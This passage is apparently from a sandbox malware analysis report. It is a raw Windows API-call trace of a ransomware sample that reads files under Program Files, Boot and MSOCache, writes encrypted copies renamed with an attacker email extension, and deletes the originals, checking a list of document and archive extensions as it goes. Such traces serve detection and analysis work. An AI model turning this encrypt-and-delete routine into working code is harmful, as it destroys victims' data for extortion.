dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.977] GetLastError () returned 0x0 [0060.977] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0060.981] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0060.982] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.982] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.982] SetEndOfFile (hFile=0x210) returned 1 [0060.982] CloseHandle (hObject=0x210) returned 1 [0060.983] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.983] SetEndOfFile (hFile=0x230) returned 1 [0060.983] CloseHandle (hObject=0x230) returned 1 [0060.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.984] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 1 [0060.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.984] lstrlenW (lpString=".doc") returned 4 [0060.984] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString=".docx") returned 5 [0060.984] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0060.984] lstrlenW (lpString=".pdf") returned 4 [0060.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString=".xls") returned 4 [0060.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString=".xlsx") returned 5 [0060.984] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0060.984] lstrlenW (lpString=".ppt") returned 4 [0060.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.984] lstrlenW (lpString=".zip") returned 4 [0060.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString=".rar") returned 4 [0060.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.984] lstrlenW (lpString=".bz2") returned 4 [0060.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.984] lstrlenW (lpString=".7z") returned 3 [0060.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.984] lstrlenW (lpString=".dbf") returned 4 [0060.985] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".1cd") returned 4 [0060.985] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".jpg") returned 4 [0060.985] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".doc") returned 4 [0060.985] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString=".docx") returned 5 [0060.985] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0060.985] lstrlenW (lpString=".pdf") returned 4 [0060.985] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString=".xls") returned 4 [0060.985] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString=".xlsx") returned 5 [0060.985] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0060.985] lstrlenW (lpString=".ppt") returned 4 [0060.985] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".zip") returned 4 [0060.985] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString=".rar") returned 4 [0060.985] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.985] lstrlenW (lpString=".bz2") returned 4 [0060.985] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.985] lstrlenW (lpString=".7z") returned 3 [0060.985] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".dbf") returned 4 [0060.985] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.985] lstrlenW (lpString=".1cd") returned 4 [0060.986] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0060.986] lstrlenW (lpString=".jpg") returned 4 [0060.986] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.986] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.986] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0060.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0061.548] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=537504) returned 1 [0061.549] CloseHandle (hObject=0x240) returned 1 [0061.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0061.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0061.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0061.561] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.564] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0061.575] GetLastError () returned 0x0 [0061.576] ReadFile (in: hFile=0x240, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x833a0, lpOverlapped=0x0) returned 1 [0061.636] WriteFile (in: hFile=0x20c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0061.645] ReadFile (in: hFile=0x240, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.645] WriteFile (in: hFile=0x20c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.645] SetEndOfFile (hFile=0x20c) returned 1 [0061.645] CloseHandle (hObject=0x20c) returned 1 [0061.645] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.645] SetEndOfFile (hFile=0x240) returned 1 [0061.650] CloseHandle (hObject=0x240) returned 1 [0061.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0061.650] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0061.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0061.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0061.650] lstrlenW (lpString=".doc") returned 4 [0061.650] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.650] lstrlenW (lpString=".docx") returned 5 [0061.650] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0061.650] lstrlenW (lpString=".pdf") returned 4 [0061.650] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.650] lstrlenW (lpString=".xls") returned 4 [0061.650] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.344] lstrlenW (lpString=".xlsx") returned 5 [0062.344] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0062.344] lstrlenW (lpString=".ppt") returned 4 [0062.344] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.344] lstrlenW (lpString=".zip") returned 4 [0062.344] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.344] lstrlenW (lpString=".rar") returned 4 [0062.344] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.344] lstrlenW (lpString=".bz2") returned 4 [0062.344] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.344] lstrlenW (lpString=".7z") returned 3 [0062.344] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.344] lstrlenW (lpString=".dbf") returned 4 [0062.344] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString=".1cd") returned 4 [0062.345] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString=".jpg") returned 4 [0062.345] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString=".doc") returned 4 [0062.345] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString=".docx") returned 5 [0062.345] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0062.345] lstrlenW (lpString=".pdf") returned 4 [0062.345] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString=".xls") returned 4 [0062.345] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString=".xlsx") returned 5 [0062.345] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0062.345] lstrlenW (lpString=".ppt") returned 4 [0062.345] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString=".zip") returned 4 [0062.345] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString=".rar") returned 4 [0062.345] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0062.345] lstrlenW (lpString=".bz2") returned 4 [0062.345] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0062.345] lstrlenW (lpString=".7z") returned 3 [0062.345] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0062.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.345] lstrlenW (lpString=".dbf") returned 4 [0062.345] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.346] lstrlenW (lpString=".1cd") returned 4 [0062.346] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0062.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0062.346] lstrlenW (lpString=".jpg") returned 4 [0062.346] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0062.346] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0062.346] lstrlenW (lpString="ACEXBE.DLL") returned 10 [0062.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0x9e0 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x570750 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x580758 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002d0 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x503090 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5002e8 [0032.689] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3740020 [0032.690] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500300 [0032.690] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500300, Size=0x20) returned 0x4e5ca0 [0032.690] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500300 [0032.690] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500300, Size=0x20) returned 0x4e5c78 [0032.690] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.690] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.690] Wow64DisableWow64FsRedirection (in: OldValue=0x2c5ff58 | out: OldValue=0x2c5ff58*=0x0) returned 1 [0032.690] lstrlenW (lpString="kernel32.dll") returned 12 [0032.690] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.690] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.690] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.690] Sleep (dwMilliseconds=0x64) [0032.965] Sleep (dwMilliseconds=0x64) [0033.123] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1 [0033.123] lstrlenW (lpString="BCD.LOG") returned 7 [0033.123] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.629] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.629] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.629] lstrlenW (lpString=".doc") returned 4 [0033.629] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.629] lstrlenW (lpString=".docx") returned 5 [0033.629] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.629] lstrlenW (lpString=".pdf") returned 4 [0033.629] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.629] lstrlenW (lpString=".xls") returned 4 [0033.629] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.629] lstrlenW (lpString=".xlsx") returned 5 [0033.629] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.629] lstrlenW (lpString=".ppt") returned 4 [0033.630] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString=".zip") returned 4 [0033.630] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString=".rar") returned 4 [0033.630] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString=".bz2") returned 4 [0033.630] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.630] lstrlenW (lpString=".7z") returned 3 [0033.630] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString=".dbf") returned 4 [0033.630] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString=".1cd") returned 4 [0033.630] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString=".jpg") returned 4 [0033.630] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.630] lstrlenW (lpString=".doc") returned 4 [0033.630] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.630] lstrlenW (lpString=".docx") returned 5 [0033.630] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.630] lstrlenW (lpString=".pdf") returned 4 [0033.630] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString=".xls") returned 4 [0033.630] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString=".xlsx") returned 5 [0033.630] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.630] lstrlenW (lpString=".ppt") returned 4 [0033.630] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.630] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.631] lstrlenW (lpString=".zip") returned 4 [0033.631] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.631] lstrlenW (lpString=".rar") returned 4 [0033.631] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.631] lstrlenW (lpString=".bz2") returned 4 [0033.631] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.631] lstrlenW (lpString=".7z") returned 3 [0033.631] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.631] lstrlenW (lpString=".dbf") returned 4 [0033.631] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.631] lstrlenW (lpString=".1cd") returned 4 [0033.631] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.631] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.631] lstrlenW (lpString=".jpg") returned 4 [0033.631] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.631] Sleep (dwMilliseconds=0x64) [0033.893] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0033.893] lstrlenW (lpString="Setup.xml") returned 9 [0033.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.880] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2296) returned 1 [0034.880] CloseHandle (hObject=0x194) returned 1 [0034.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.880] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.880] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0034.880] GetLastError () returned 0x0 [0034.880] ReadFile (in: hFile=0x194, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0035.102] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x900, lpOverlapped=0x0) returned 1 [0035.103] ReadFile (in: hFile=0x194, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.103] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.103] SetEndOfFile (hFile=0x1b0) returned 1 [0035.103] CloseHandle (hObject=0x1b0) returned 1 [0035.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.104] SetEndOfFile (hFile=0x194) returned 1 [0035.104] CloseHandle (hObject=0x194) returned 1 [0035.104] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.105] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.105] lstrlenW (lpString="C:\\MSOCache\\All 